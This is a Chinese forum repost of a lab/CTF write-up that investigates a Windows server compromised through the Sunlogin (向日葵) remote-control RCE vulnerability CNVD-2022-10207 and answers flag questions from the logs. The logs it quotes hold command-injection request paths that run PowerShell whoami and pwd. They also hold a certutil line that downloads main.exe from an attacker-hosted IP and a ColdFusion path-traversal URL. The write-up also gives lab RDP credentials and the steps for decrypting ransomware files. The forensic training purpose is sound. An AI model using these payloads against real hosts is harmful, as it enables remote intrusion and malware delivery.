ToB企服应用市场:ToB评测及商务社交产业平台

标题: 玄机——第四章 windows实战-向日葵 wp [打印本页]

作者: 伤心客    时间: 2024-8-17 09:05
标题: 玄机——第四章 windows实战-向日葵 wp
一、前言

标题链接:第四章 windows实战-向日葵
三连私信免费送玄机注册约请码私信!!!看见就回!!注意私信!!
简单介绍一下向日葵;
向日葵长途连接软件是一款专为长途控制、长途管理和长途协助而计划的工具,适用于个人用户和企业用户。
功能特点
CNVD-2022-10207:向日葵RCE
漏洞背景
CNVD-2022-10207 是一个被发现的安全漏洞,答应未经授权的攻击者长途实行任意下令。
漏洞成因
该漏洞的成因通常涉及以下几个方面:
攻击过程
影响
具体实例
攻击者可能利用如下请求模式来触发漏洞:
目次遍历攻击:尝试访问和下载敏感文件。
  1. /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
复制代码
下令注入攻击:通过 URL 参数实行体系下令。
  1. /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami
复制代码
二、概览

简介

第四章 windows实战
Administrator xj@123456
标题;
1、通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);
2、通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;
3、通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;
4、找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;
5、通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;
三、参考文章

玄机——第四章 windows实战-向日葵
四、步骤(剖析)

预备步骤#1.0

这里的靶机环境是windows,所以正常的我们利用长途桌面连接即可;
这里推荐各人利用“Microsoft“自带的长途桌面连接即可即可;(有一些笔记本/电脑是不自带的,不过已为各人预备好安装包)
123网盘下载;
   https://www.123pan.com/s/q2J1jv-r8avd.html
提取码:0905
  安装完成,进入主页,点击右上角“添加”–>“电脑”,接着启动靶机,输入靶机IP,点击“保存”,返回主页,点击连接,最后输入账号密码即可;
输入靶机IP,点击保存,返回主页;

输入账号密码,点击连接即可;
   Administrator
xj@123456
  

最后连接成功;

步骤#1.1

通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);

解题思路
标题让我们提交黑客首次攻击成功的时间,那这题既然重要的是“向日葵”,而且桌面也有个“向日葵”,那肯定就是查日记分析了,那这里我们直接右键“向日葵”,接着打开文件位置就可以发现“log”目次,最后继续分析即可;
右键“打开文件所在位置”;

发现“log”目次,跟进分析;

那标题既然说是首次成功攻击,那肯定就从日记最早的时间查看分析起,如果这个日记没有发现,那就以此类推继续往下分析;

那打开日记,我们就重要分析以下特性,从而缩小范围进行查找;
特性
那就重要根据这几个特性分析呗,日记往下翻一点就发现了关键点;

简单分析一下这里;
   这里的日记记载,可以看出确实是黑客的在进行攻击尝试。这些日记表现了多个HTTP连接尝试,每个连接尝试都有不同的路径和参数,这些路径和参数是漏洞利用或恶意扫描。
   日记表现在同一时间段内,多个新连接尝试从同一IP地址(192.168.31.45)到目的IP地址(192.168.31.114),如下所示:
  1. 2024-03-21 19:54:56.229        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:58540-->192.168.31.114:49724
  2. 2024-03-21 19:54:56.244        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:58542-->192.168.31.114:49724
  3. 2024-03-21 19:54:56.244        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:58543-->192.168.31.114:49724
  4. 2024-03-21 19:54:56.245        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:58544-->192.168.31.114:49724
复制代码
每个连接尝试的路径和参数都表现了对特定资源的访问,这些资源路径和参数是已知漏洞利用的路径。例如:
三个URL分析下来发现是尝试在利用CNVD-2022-10207:向日葵长途控制软件 RCE 漏洞。
CNVD-2022-10207 漏洞是一种长途下令实行漏洞,存在于向日葵长途控制软件中。攻击者可以通过特制的 HTTP 请求利用此漏洞,实行任意下令或代码。
攻击过程
总结;
从这些日记记载中可以发现黑客利用了很多漏洞,这是一次次攻击尝试;
所以开头这里的日记并没有发现黑客攻击成功,只是发现了黑客尝试利用各种漏洞进行攻击,那我们就继续往下分析,也是在日记的最底下发现了信息;

简单分析一下这里;
日记重要记载;
  1. 2024-03-26 10:16:25.570        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64246, path: /cgi-bin/rpc?action=verify-haras, version: HTTP/1.12024-03-26 10:16:25.570        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64246,/cgi-bin/rpc?action=verify-haras, plugin:cgi-bin, session:2024-03-26 10:16:25.585        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:64247-->192.168.31.114:497242024-03-26 10:16:25.585        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami
  2. , version: HTTP/1.12024-03-26 10:16:25.585        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami
  3. , plugin:check, session:dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL32024-03-26 10:17:01.060        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:64284-->192.168.31.114:497242024-03-26 10:17:01.060        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64284, path: /cgi-bin/rpc?action=verify-haras, version: HTTP/1.12024-03-26 10:17:01.060        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64284,/cgi-bin/rpc?action=verify-haras, plugin:cgi-bin, session:2024-03-26 10:17:01.075        - Info  -        [service][TcpAcceptor] new acceptor 192.168.31.45:64285-->192.168.31.114:497242024-03-26 10:17:01.075        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64285, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+pwd, version: HTTP/1.12024-03-26 10:17:01.075        - Info  -        [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64285,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+pwd, plugin:check, session:DTOAQFngEPZBDNNp5QLOYftzErN7RBCA2024-03-26 10:17:20.423        - Info  -        [localserver] Not use proxy
复制代码
分析
这些路径和下令表明黑客正在尝试通过路径遍历攻击来访问并实行PowerShell下令,这些下令的目的是验证是否可以或许成功实行体系下令。whoami下令用于查看当前实行下令的用户,pwd下令用于查看当前工作目次。

总结;
日记记载表明,攻击者在2024年3月26日10:16:25通过路径遍历和下令注入成功实行了PowerShell下令。虽然没有具体的返回效果,但联合上下文,以下是关键点:
标题让我们提交黑客首次攻击成功的具体时间,提交格式:flag{2028-03-26 08:11:25.123};
至此;
  1. flag{2024-03-26 10:16:25.585}
复制代码
步骤#1.2

通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;

解题思路
标题让我们提交黑客攻击的IP,我觉得这题应该放第一小题,题一我们黑客首次成功时间都找到了,那就顺便看看日记记载的IP即可,这题没啥好说的;
得到;

清一色的IP,直接提交即可;
  1. flag{192.168.31.45}
复制代码
步骤#1.3

通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;

解题思路
标题让我们提交黑客托管的恶意程序IP,那我们照旧继续在日记内里寻找一下特定的特性;
特性;

刚刚好,接着上题往下翻一点就发现了关键;
得到;

简单分析一下;
首先可以确认的是,这里的日记条目就表现了黑客从外部服务器下载并实行恶意程序的过程。
逐步分析;
1、新连接建立
  1. 2024-03-26 10:31:07.538 - Info - [service][TcpAcceptor] new acceptor 192.168.31.45:49328-->192.168.31.114:49724
复制代码

2、HTTP连接建立
  1. 2024-03-26 10:31:07.538 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49328, path: /cgi-bin/rpc?action=verify-haras, version: HTTP/1.1
复制代码

3、新连接建立
  1. 2024-03-26 10:31:07.576 - Info - [service][TcpAcceptor] new acceptor 192.168.31.45:49329-->192.168.31.114:49724
复制代码

4、HTTP连接建立并实行下令
  1. 2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, version: HTTP/1.1
复制代码

重要关键点;

总结;
   这些日记条目表现了黑客尝试利用路径遍历和下令注入漏洞,通过 certutil 从外部服务器(192.168.31.249)下载并实行恶意程序 main.exe。这表明黑客的攻击成功了,且试图在目的体系上下载并运行恶意软件。
  标题让我们提交黑客托管恶意程序 IP;
至此;
  1. flag{192.168.31.249}
复制代码
步骤#1.4

找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;

解题思路
标题让我们提交黑客解密的DEC文件的MD5,那我们先在日记里尝试搜索一下文件名“DES”,看看有没有被定位到路径,但是发现没有这个文件,但是在差不多日记最底下发现了一个txt,谁人txt里的内容是一个QQ号,抱着尝试的心情加了一下,最后在该群的“群文件”中发现了“DES”;(过后发现这是该平台的官方QQ群“玄机”)
未查到到文件“DEC”;

在日记最底下发现了TXT记载;

搜索QQ号,发现玄机官方群聊;(647224830)

参加该群,在群文件中发现了标题所说的"DEC"文件,但是提交格式为MD5,所以下载该文件进行MD5加密;

这里把文件进行MD5加密方法不唯一,这里暂且举两个例子,也就我们常用的两种,liunx以及window;
window中文件进行MD5加密;
这里的“DEC”文件,注意输入具体路径(或者在同一目次下唤起PowerShell);
下令;
  1. certutil -hashfile .\DEC.pem MD5
复制代码
得到;

Liunx中文件进行MD5加密;
下令;
  1. md5sum DEC.pem
复制代码
得到;

至此;
  1. flag{5ad8d202f80202f6d31e077fc9b0fc6b}
复制代码
步骤#1.5

通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;

解题思路
标题让我们解密桌面的文件将其中的flag进行提交,桌面确实有两个文件,我们简单分析一下;
两个文件;

右键记事本打开;
baoleiji.txt;
得到;

desktop.ini;
得到;

嘶,这两个文件让我想起了久违的老朋侪“RSA”,联合上题得到的“DEC.pem”,那就正常RSA解密呗;
DEC.pem;

随便找一个RSA在线解密即可;
RSA在线解密
解密得到:NXVJSTQUAPGTXKSX

接着进行AES解密,随便找一个在线的即可;
AES在线解密
解密得到flag,iv偏移量是16个0;

得到;
  1. @suanve
  2. 时间是连续的,年份只是人类虚构出来用于统计的单位,2024年第一天和2023年最后一天,
  3. 不会有任何本质区别。你的花呗,你的客户,你的体检报告,窗外的寒风,都不会因为这是新的一年,
  4. 而停下对你的毒打。
  5. GIVE YOU FLAG!!!!!
  6. flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
复制代码
至此;(友谊提示:由于是RSA,所以每个人的附件不一样噢,要自己操作一遍才能得到自己的flag,提交正确噢~)
  1. flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
复制代码
拓展1.1

做兜做了,那还剩最后还有一个desktop.ini;(我们也解密一下吧)
解密得到:KBFKKYZKCBBUZKEC

AES解密;

最后;
  1. 
  2. [.ShellClassInfo]
  3. LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769
  4. IconResource=%SystemRoot%\system32\imageres.dll,-183
复制代码
简单分析一下;
这个是 desktop.ini 的设置文件的内容。desktop.ini 文件用于自界说 Windows 文件夹的表现属性。这段内容重要用于更改文件夹的图标和名称表现。以下是详细分析:
作用

示例
假设这个 desktop.ini 文件位于某个文件夹中,那么:

总结
   这段 desktop.ini 设置文件内容用于更改文件夹的表现名称和图标,提供更好的用户界面体验,尤其在体系和应用程序文件夹中常见。这些自界说设置通过引用体系 DLL 文件中的资源字符串和图标来实现。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4